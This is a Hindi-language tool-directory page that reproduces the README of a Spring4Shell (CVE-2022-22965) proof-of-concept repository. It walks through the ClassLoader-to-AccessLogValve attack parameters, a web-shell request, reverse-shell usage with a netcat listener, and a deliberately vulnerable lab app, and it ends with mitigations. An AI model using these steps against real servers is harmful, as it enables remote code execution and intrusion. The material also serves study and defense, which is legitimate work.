Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
PoC-CVE-2022-22965-Spring4Shell — विवरण | Kitploit
उपकरण/GitHubGitHub/march0n/poc-cve-2022-22965-spring4shell
पेलोड जनरेशनभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षालैब और अभ्यास
GitHubmarch0n/poc-cve-2022-22965-spring4shell

PoC-CVE-2022-22965-Spring4Shell

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →

विवरण

रिपॉजिटरी देखें
23 महीने पहलेअभी तक समीक्षित नहीं
साझा करें

PoC — CVE-2022-22965 (Spring4Shell)

अस्वीकरण: यह रिपॉजिटरी केवल शैक्षिक और अनुसंधान उद्देश्यों के लिए है। सभी एक्सप्लॉइट स्क्रिप्ट का उपयोग केवल उन सिस्टमों के विरुद्ध किया जाना चाहिए जिनके आप स्वामी हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति है। लेखक इस सामग्री के दुरुपयोग या इससे होने वाली किसी भी क्षति के लिए जिम्मेदार नहीं है।

CVE-2022-22965 का अध्ययन और प्रूफ-ऑफ-कॉन्सेप्ट, जो स्प्रिंग फ्रेमवर्क में एक गंभीर रिमोट कोड एक्जीक्यूशन (RCE) भेद्यता है, जिसे अप्रैल 2022 में सार्वजनिक रूप से प्रकट किया गया था।


भेद्यता अवलोकन

Spring4Shell स्प्रिंग MVC और स्प्रिंग WebFlux अनुप्रयोगों को प्रभावित करता है जब निम्नलिखित सभी शर्तें पूरी होती हैं:

शर्तमान
JDK संस्करण9 या उच्चतर
एप्लिकेशन सर्वरApache Tomcat
पैकेजिंगWAR (निष्पादन योग्य JAR नहीं)
स्प्रिंग फ्रेमवर्क< 5.3.18 या < 5.2.20

यह कैसे काम करता है

स्प्रिंग का डेटा बाइंडिंग तंत्र HTTP अनुरोध पैरामीटर को डॉट नोटेशन (जैसे, user.name=foo) का उपयोग करके जावा ऑब्जेक्ट गुणों में मैप करने की अनुमति देता है। यह भेद्यता इसलिए उत्पन्न होती है क्योंकि यह ट्रैवर्सल ठीक से प्रतिबंधित नहीं है — कोई हमलावर मॉडल ऑब्जेक्ट के वर्ग पदानुक्रम के माध्यम से JVM ClassLoader तक पहुँच सकता है:

root@kitploit:~
class.module.classLoader.resources.context.parent.pipeline.first.<property>

यह पथ Tomcat के AccessLogValve तक पहुँचता है, जिसके लॉगिंग कॉन्फ़िगरेशन को रनटाइम पर हेरफेर किया जा सकता है। pattern, directory, prefix, और suffix जैसे गुणों को संशोधित करके, हमलावर Tomcat के एक्सेस लॉग को एक फ़ाइल लिखने के लिए पुनर्निर्देशित करता है जिसमें .jsp एक्सटेंशन होता है और मनमाना JSP कोड होता है — प्रभावी रूप से सर्वर पर एक वेब शेल लगाता है।

हमला प्रवाह

root@kitploit:~
1. POST /vulnerable
   class.module.classLoader.resources.context.parent.pipeline.first.pattern=<JSP payload>
   class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
   class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
   class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
   class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

2. Tomcat inject किए गए payload के साथ एक्सेस लॉग को webapps/ROOT/shell.jsp पर लिखता है

3. GET /shell.jsp?cmd=id  →  RCE

रिपॉजिटरी संरचना

root@kitploit:~
.
├── exploits/
│   ├── exploit1.py   # पासवर्ड सुरक्षा के साथ POST-आधारित वेब शेल
│   ├── exploit2.py   # रीसेट क्षमता के साथ POST-आधारित वेब शेल
│   ├── exploit3.py   # GET-आधारित वेरिएंट (सरलीकृत)
│   ├── exploit4.py   # रिवर्स TCP शेल (GET-आधारित)
│   └── exploit4b.py  # रिवर्स TCP शेल (POST-आधारित)
└── springmvc5-helloworld-example/
    ├── Dockerfile    # पूर्व-निर्मित tomcat:9.0.60 इमेज का उपयोग करता है
    ├── Dockerfile2   # openjdk:11 से बनाता है + Tomcat डाउनलोड करता है
    ├── pom.xml       # Maven प्रोजेक्ट — स्प्रिंग MVC 5.3.17 (असुरक्षित)
    └── src/          # असुरक्षित स्प्रिंग MVC एप्लिकेशन स्रोत

एक्सप्लॉइट वेरिएंट

स्क्रिप्टविधिपेलोडनोट्स
exploit1.pyPOSTवेब शेल (पासवर्ड-सुरक्षित)एकल अनुरोध
exploit2.pyPOSTवेब शेलएक्सप्लॉइट से पहले/बाद में लॉग कॉन्फ़िगरेशन रीसेट करता है
exploit3.pyGETवेब शेल (कोई पासवर्ड नहीं)पैरामीटर क्वेरी स्ट्रिंग के माध्यम से
exploit4.pyGETरिवर्स TCP शेलmsfvenom-आधारित JSP पेलोड
exploit4b.pyPOSTरिवर्स TCP शेलexploit4 के समान पेलोड, POST वेरिएंट

उपयोग उदाहरण

root@kitploit:~
# वेब शेल
python3 exploits/exploit1.py http://target:8080/vulnerable

# रिवर्स शेल (पहले लिसनर शुरू करें: nc -lvnp 4444)
python3 exploits/exploit4.py --url http://target:8080/vulnerable --lhost <YOUR_IP> --lport 4444

लैब सेटअप

पूर्वापेक्षाएँ

  • Java 11+
  • Maven (sudo apt install maven या sudo dnf install maven)
  • Docker (वैकल्पिक, अनुशंसित)

बनाएं

root@kitploit:~
cd springmvc5-helloworld-example
mvn clean package

Docker के साथ चलाएं

root@kitploit:~
# विकल्प 1 — पूर्व-निर्मित Tomcat इमेज
docker build -t spring4shell .
docker run -p 8082:8080 spring4shell

# विकल्प 2 — openjdk से बनाएं + Tomcat डाउनलोड करें
docker build -t spring4shell -f Dockerfile2 .
docker run -p 8082:8080 spring4shell

एप्लिकेशन तब http://localhost:8082/vulnerable पर उपलब्ध है।


शमन

  • स्प्रिंग फ्रेमवर्क को अपग्रेड करें 5.3.18+ या 5.2.20+ पर
  • स्प्रिंग बूट को अपग्रेड करें 2.6.6+ या 2.5.12+ पर
  • यदि तुरंत अपग्रेड संभव नहीं है:
    • JDK 8 पर डाउनग्रेड करें
    • classLoader बाइंडिंग को ब्लॉक करने के लिए WebDataBinder.setDisallowedFields() का उपयोग करें
    • class., Class., module., या classLoader वाले पैरामीटर को ब्लॉक करने वाला WAF नियम तैनात करें

क्रेडिट्स

मूल अनुसंधान और एक्सप्लॉइट कोड @march0n द्वारा। यह रिपॉजिटरी सीखने के उद्देश्यों के लिए भेद्यता का एक व्यक्तिगत अध्ययन है, जिसमें अतिरिक्त दस्तावेज़ीकरण और विश्लेषण है।


संदर्भ

  • CVE-2010-1622 — मूल स्प्रिंग ClassLoader एक्सप्लॉइट (2010)
  • प्रारंभिक चीनी प्रकटीकरण (Weixin)
  • Microsoft सुरक्षा ब्लॉग — SpringShell मार्गदर्शन
  • LunaSec — स्प्रिंग RCE भेद्यताओं का विश्लेषण
  • Palo Alto Unit 42 — CVE-2022-22965 गहराई से विश्लेषण
टूल डाउनलोड करें